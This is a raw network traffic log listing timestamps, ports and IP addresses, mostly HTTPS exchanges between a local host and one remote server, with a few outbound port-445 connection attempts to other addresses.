Jul 20, 2022 15:44:18.098206043 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.098231077 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.098242998 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.098368883 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.098383904 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.098404884 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.098551035 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.098565102 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.098706961 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.101066113 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.101104021 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.101253986 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.101528883 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.101537943 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.101566076 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.101753950 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.101766109 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.101783991 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.101802111 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.101809025 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.101888895 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.101897001 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.101978064 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.101986885 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.102082968 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.102092981 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.102169991 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.102183104 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.102391005 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.102406025 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.102430105 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.102447033 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.102567911 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.102576971 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.102657080 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.102664948 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.102682114 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.102713108 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.102763891 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.103661060 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.103682041 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.103705883 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.103754044 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.103761911 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.103869915 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.103883028 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.103902102 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.104013920 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.104024887 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.104038954 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.104063988 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.104069948 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.104087114 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.104091883 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.104149103 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.104159117 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.104171038 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.104214907 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.104228020 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.104254007 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.104279041 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.104289055 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.104295969 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.104343891 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.104361057 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.104414940 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.105072021 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.105094910 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105120897 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105139017 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105329990 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.105343103 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105360031 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105375051 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105542898 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.105557919 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105580091 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105603933 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.105612993 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105741024 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.105751038 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105778933 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105854034 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.105863094 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.105967045 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.106054068 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.106298923 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.106309891 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.106331110 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.106353045 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.106539965 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.106551886 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.106635094 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.106693983 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.107419968 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.123922110 CEST	50812	445	192.168.2.7	88.18.168.180
Jul 20, 2022 15:44:18.124768972 CEST	50813	445	192.168.2.7	7.156.205.6
Jul 20, 2022 15:44:18.137864113 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.140618086 CEST	50753	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.140662909 CEST	443	50753	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.213327885 CEST	50814	445	192.168.2.7	188.18.139.18
Jul 20, 2022 15:44:18.302472115 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.304779053 CEST	50725	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.304804087 CEST	443	50725	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.312516928 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.312665939 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.353650093 CEST	50815	445	192.168.2.7	77.132.103.68
Jul 20, 2022 15:44:18.498819113 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.498853922 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.498872995 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.498965025 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.498974085 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499049902 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499058008 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499068975 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499094009 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499099016 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499187946 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499196053 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499208927 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499218941 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499304056 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499326944 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499346018 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499361992 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499420881 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499428034 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499439001 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499491930 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499500990 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499516010 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499552965 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499560118 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499633074 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499639034 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499716043 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499726057 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499759912 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499764919 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499833107 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499850988 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499907970 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.499922991 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.499989986 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.500022888 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.500108957 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.500267029 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.500313997 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.500400066 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.500412941 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.500448942 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.500449896 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.500536919 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.500547886 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.500581980 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.500592947 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.500605106 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.500660896 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.500677109 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.500714064 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.500756979 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.501780987 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.501791954 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.501899004 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.502144098 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.502152920 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502166986 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502177954 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502286911 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.502295017 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502346039 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.502352953 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502367020 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502420902 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.502429962 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502490997 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.502497911 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502569914 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.502576113 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502584934 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502640009 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.502645016 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502733946 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.502741098 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502813101 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.502819061 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502827883 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.502983093 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.502990007 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.503068924 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.503102064 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.503109932 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.503124952 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.503161907 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.503174067 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.503189087 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.503210068 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.503253937 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.503259897 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.503297091 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.503304005 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.503315926 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.503343105 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.503355980 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.503408909 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.503906012 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.503914118 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.503930092 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504093885 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504106045 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504121065 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504173040 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504180908 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504268885 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504278898 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504314899 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504322052 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504369974 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504393101 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504403114 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504420042 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504455090 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504465103 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504508018 CEST	443	50724	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504508972 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504525900 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504542112 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504570007 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504573107 CEST	50724	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504607916 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504632950 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504638910 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504673004 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504703999 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504714012 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504733086 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504755020 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504776001 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504785061 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504798889 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504853010 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504875898 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504899979 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504928112 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.504987955 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.504997969 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505012035 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505032063 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505040884 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505075932 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505094051 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505110979 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505119085 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505135059 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505156994 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505175114 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505199909 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505211115 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505219936 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505234003 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505256891 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505284071 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505302906 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505309105 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505326033 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505361080 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505368948 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505394936 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505408049 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505436897 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505440950 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505445004 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505472898 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505481005 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505506992 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505512953 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505543947 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505548954 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505558014 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505606890 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505637884 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505646944 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505655050 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505693913 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505721092 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505732059 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505739927 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505770922 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505800009 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505800009 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505815983 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505841970 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505852938 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505912066 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505922079 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505935907 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.505970955 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.505980015 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506015062 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506016970 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506047010 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506062984 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506072044 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506110907 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506117105 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506141901 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506181955 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506191969 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506230116 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506232977 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506275892 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506284952 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506320000 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506320000 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506345034 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506351948 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506362915 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506391048 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506422043 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506445885 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506452084 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506467104 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506491899 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506525993 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506541967 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506612062 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506619930 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506633043 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506654978 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506690025 CEST	50756	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:18.506700993 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506717920 CEST	443	50756	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:18.506726027 CEST	50756	443	192.168.2.7	80.67.82.211
